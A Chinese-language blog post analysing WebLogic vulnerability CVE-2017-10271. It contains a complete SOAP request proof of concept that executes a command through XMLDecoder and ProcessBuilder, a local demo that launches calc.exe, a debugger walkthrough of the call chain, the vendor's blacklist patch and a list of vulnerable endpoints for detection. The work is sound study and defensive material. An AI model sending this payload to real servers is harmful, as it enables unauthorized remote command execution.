weblogic漏洞分析系列之CVE-2017-10271漏洞分析

​ CVE-2017-10271漏洞是由于通过readobject解析webservice接口中的xml代码导致命令执行的,今天我们一起学习一下这个漏洞是如何导致的并分析一下漏洞的检测方法。

漏洞复现

​ 这里直接给出文件写入的poc,数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST http://192.168.3.1:7001/wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.1:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 613

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>echo 111 > c:\windows\temp\test666.txt</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

​ 利用成功后会返回500,不过这并不影响我们的命令执行。

image-20201030232045855

image-20201030232431039

漏洞分析

​ 因为这个漏洞在利用成功之后会返回调用栈,所以我们可以直接在最终调用的函数上打一个断点,那样就能直观的看到这个漏洞执行的调用链。这里我们可以看到最终执行的java.lang.ArrayIndexOutOfBoundsException类里的方法抛出异常,因此我们找到这个类。

image-20201031102101881

​ 可以使用快捷键ctrl+alt+shift+n来快速找到这个类名。

image-20201031102202120

​ 我们找到ArrayIndexOutOfBoundsException后,因为从调用栈中看不到调用了哪个方法,因此我们在这个类中仅有的三个方法中下断点,发送payload进行测试,在传递String类型参数的方法中断住了,然后我们在idea中,就可以看到这个漏洞的一个整体的调用栈。

image-20201031103008416

image-20201031103137794

​ 为了测试哪些调用和我们的访问路径有关,哪些调用栈是weblogic运行过程中本身调用的,我对调用栈中的调用进行了测试,我发现只要我们运行着weblogic,ExecuteThread类的execute方法总是会被不断调用的。即使我没有向weblogic发送任何请求。

image-20201031105302535

​ 而ServletRequestImpl类的run方法,只有我们访问wls-wsat目录下的方法时才会被调用,访问其他目录则不会被调用。

image-20201031105346498

​ 我们再来看一下当我们访问/wls-wsat/CoordinatorPortType目录时的调用流程,当我们访问到这个url时,会被路由到wls-wsat.war包下进行处理,我们看下web.xml文件,发现这个调用会交给weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl类进行处理。

image-20201101195556241

​ 我们跟进到这个类中,可以看到这个类是一个处理webservice的接口,

image-20201101195741595

​ 由于对webservice不是很熟悉,跟进去CoordinatorPortType接口中也没看懂这个接口是执行了什么操作,不过这个好像也无关紧要,因为我发现即使调用其他路由也是可以成功触发漏洞的,所以说明这个漏洞的触发和这个接口具体的参数没有什么关系。

image-20201101213816637

image-20201101213858504

​ 好了,我们回归正题,我们通过查看调用链可以知道,这个漏洞最终之所以能被触发是因为调用了xmlDecoder.readObject()方法,因此我们只要理清是什么原因导致了可以调用到这个方法就可以了。

​ 首先调用了一些servlet处理的方法,关于servlet调用的过程比较复杂,我不一一分析了,这里仅仅向大家证明这个调用栈的哪些部分属于servlet的调用。

​ 我随便找了一个servlet的接口以GET方式去请求,可以在StubSecurityHelper$ServletServiceAction run方法上下到断点,因此我们可以理解只要去调用servlet的接口,这些方法都会被调用,因此我们在分析的过程中可以不看这些调用栈,可以简单的理解为对于servlet处理的过程。

image-20201101222906523

​ 而后面的一些方法则需要调用jaxws包下的内容,我们知道jaxws是用来处理webservice的,因此只有处理webservice时,后面的方法才会被调用,因此这个漏洞的触发需要调用webservice的方法。

image-20201101233441734

​ 我们着重分析一下JAXWServlet以后的处理流程,先看一下doRequest方法,这个方法首先设置了一些属性,再去判断调用的请求类型,由于我们调用的是POST方法,因此调用了httpProcessor.post()

image-20201102232400860

​ 从post到handle部分可能主要是做一些权限认证方面的处理,认证通过后调用handle进行处理

image-20201111202947944

​ 从header 到processRequest部分因为看不到代码所以也看不出来weblogic是如何处理这部分内容的

image-20201111204148540

​ processRequest方法处理过程如下,首先判断传入的var1是否为空,判断部位空后获取header,再从获取的header中查找是否存在WORK_AREA_HEADER,如果存在,则执行readHeaderOld方法

image-20201111204541538

image-20201111204411985

​ 在readHeaderOld方法中,将我们输入的请求体的内容进行解析,注意new WorkContextXmlInputAdapter()操作,跟进WorkContextXmlInputAdapter,实际上这里是创建一个xmldecoder对象并且将我们的请求体内容传进去。

image-20201111205220071

image-20201111205354553

​ 创建WorkContextXmlInputAdapter对象以后,调用receive方法

image-20201111210231033

​ 再经过几层调用,来到readEntry方法,调用了xmldecoder.readObject()方法进行解析,最终导致了反序列化xml代码和命令执行。image-20201111210332731

image-20201111210620461

​ 可能有些同学不理解为什么xmldecoder.readObject()会导致反序列化,我这里写一个demo代码进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class xmldecoder {
public static void main(String[] args) throws FileNotFoundException {
File file =new File("d:\\test.xml");
FileInputStream fis = new FileInputStream(file);
BufferedInputStream bis = new BufferedInputStream(fis);
XMLDecoder xdsec = new XMLDecoder(bis);
xdsec.readObject();
xdsec.close();
}
}

​ 在d:\test.xml的内容如下:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc.exe</string>
</void>
</array>
<void method="start" />
</object>
</java>

​ 当执行完readaobject后,我们的xml代码被执行

image-20201112175014300

​ 看完上面的代码,我想我们已经知道xmldecoder.readobject可以造成命令执行了,不过为什么我们传入的xml内容会被解析并最终导致命令执行呢?我跟进了这个readObject的调用过程,由于整体的调用过程比较复杂,我就不具体分析了,这里先给出调用链

image-20201112194152425

​ 主要的执行部分在getValueObject这个方法中,因此我们主要看一下这个方法,这个方法在我解析这个xml的过程中被调用了三次,首先判断Index是否为空,第一次解析过程中我们index的内容不为空,而是0,因此会进入这个if判断,

1
<void index="0"></void>

image-20201113101448089

​ 并且由于var2的内容为2,因此var4的值会被设置为set

image-20201113101928381

​ 之后程序会执行到下面这段代码

1
Expression var5 = new Expression(var3, var4, var2);

​ 跟进去后发现其会调用父类的构造方法

image-20201113102206786

​ 跟进父类的构造方法,会给target,methodName,arguments分别进行赋值

image-20201113102301063

​ 最后程序会调用var5.getValue()方法

image-20201113102428144

​ 跟进getvalue()方法后,我们看到又调用了invoke方法

image-20201113102524670

​ 跟进invoke方法,首先会做一个权限判断,判断完成后会调用invokeInternal方法

image-20201113102652354

​ invokeInternal方法是命令执行的重点,我们跟进去看一下,首先通过获取当前对象的target和methodName,这两个值之前已经经过了设置。再获取arguments的内容,再判断methodName是否包含forName,如果包含则通过反射来创建类,我们调用的methodName不包含forName,所以不会执行if语句中的内容。

image-20201113102945526

​ 下面再去获取了arguments的类型,我们传入的两个参数一个是0一个是calc.exe,因此是integer和String类型

image-20201113103829117

​ 最后程序会将arguments[0]转换后赋值给index,最后调用Array.set设置值,设置完以后大概是target[0]=”calc.exe”这个样子,到此第一次调用结束。

image-20201113110701464

​ 第二次调用中,index的内容为空,并且property也为空,因此会进入到else代码中,因为method的值为null,因此var4会被设置为new

image-20201113104635913

​ 再跟进 new Expression(var3, var4, var2),在父类的构造方法中,对target,methodName,和arguments的参数进行设置。

image-20201113110930916

​ 我们再看一下invokeInternal方法, 首先还是获取target,methodName,arguments参数,判断methodName是否包含forname,这里methodName为new,因此不会进入if判断。

image-20201113111115897

​ 下面再判断了target是否为Class类型的实例,这里会进入if判断,将methodName设置为newInstance,再到第二个if判断,由于(Class)target).isArray()不是array,因此会跳过这个if判断

image-20201113111320290

​ 在往下走,methodName和arguments满足if判断,因此会进入第一个if判断,但是由于target 不是Character.class,因此不会进入第二个if判断。

image-20201113112023557

​ 再往下走,通过ConstructorFinder.findConstructor获取类class java.lang.ProcessBuilder参数为String[]类型的构造器

image-20201113112709493

 最后通过newInstance获取一个实例对象,至此第二次调用结束了。

image-20201113112934347

​ 在第三次调用中,var4为start

image-20201113113230022

​ 跟进Expression调用的父类构造方法,我们可以看到这次传入的target和arguments内容都为对象,methodName为start

image-20201113113347471

​ 之后我们再看一下invokeInternal方法,再287行通过反射调用获取到了start方法

image-20201113113815896

​ 最后通过invoke来调用processbuilder.start方法,导致calc.exe被执行。

image-20201113113850934

漏洞修复

​ 最后我们看一下weblogic对这个漏洞是如何修复的,我尝试在官网下载补丁,但好像是付费用户才能下载到

image-20201113135529651

​ 没有办法,只能在网上看别人的代码,补丁代码如下,在进行解析的时候对object,new,method,viod等关键设置了黑名单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void startElement(String uri, StringlocalName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase(“object”)){
throw newIllegalStateException(“Invalid element qName:object”);
} else if(qName.equalsIgnoreCase(“new”)){
throw newIllegalStateException(“Invalid element qName:new”);
} else if(qName.equalsIgnoreCase(“method”)){
throw newIllegalStateException(“Invalid element qName:method”);
} else {
if(qName.equalsIgnoreCase(“void”)) {
for(int attClass = 0; attClass< attributes.getLength(); ++attClass) {
if(!”index”.equalsIgnoreCase(attributes.getQName(attClass))) {
throw newIllegalStateException(“Invalid attribute for element void:” +attributes.getQName(attClass));
}
}
}

​ 但是我之前调试的时候发现startElement应该是XMLDecoder类实现的,而这个类是jdk的一个类,经过跟进weblogic的xmldecoder.readobject方法后,我发现weblogic调用的readobject后的调用链和jdk提供的xmldecoder调用链是不一样的,它在调用过程中还是会调用一些weblogic自己实现的一些类。

image-20201113150901231

漏洞检测

​ 经过分析我们知道这个漏洞的触发并不是一定必须访问/wls-wsat/CoordinatorPortType接口,wls-wsat.war下web.xml中定义的所有关于webservice的接口都是可以触发这个漏洞的,可以触发该漏洞的接口如下

1
2
3
4
5
6
7
8
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

​ 既然这个漏洞是请求webservice接口导致的,那么我想找一下是否有其他请求webservice的接口,因为webservice都会有webservices.xml这个配置文件,因此应该是没其他调用webservice接口的地址了。

image-20201113115929868

​ 另外由于weblogic的补丁并不是将wls-wsat.war删除,而是找了一个做了一些黑名单过滤,因此单单通过访问/wls-wsat/下的接口判断是否存在是不行的,不过可以将判断这些接口是否存在当作一个参考,毕竟只有当这些接口存在是,才能触发这个漏洞,有些waf在防御这个漏洞是更是粗暴简单只要访问了这个wls-wsat目录下的内容,全部拒绝。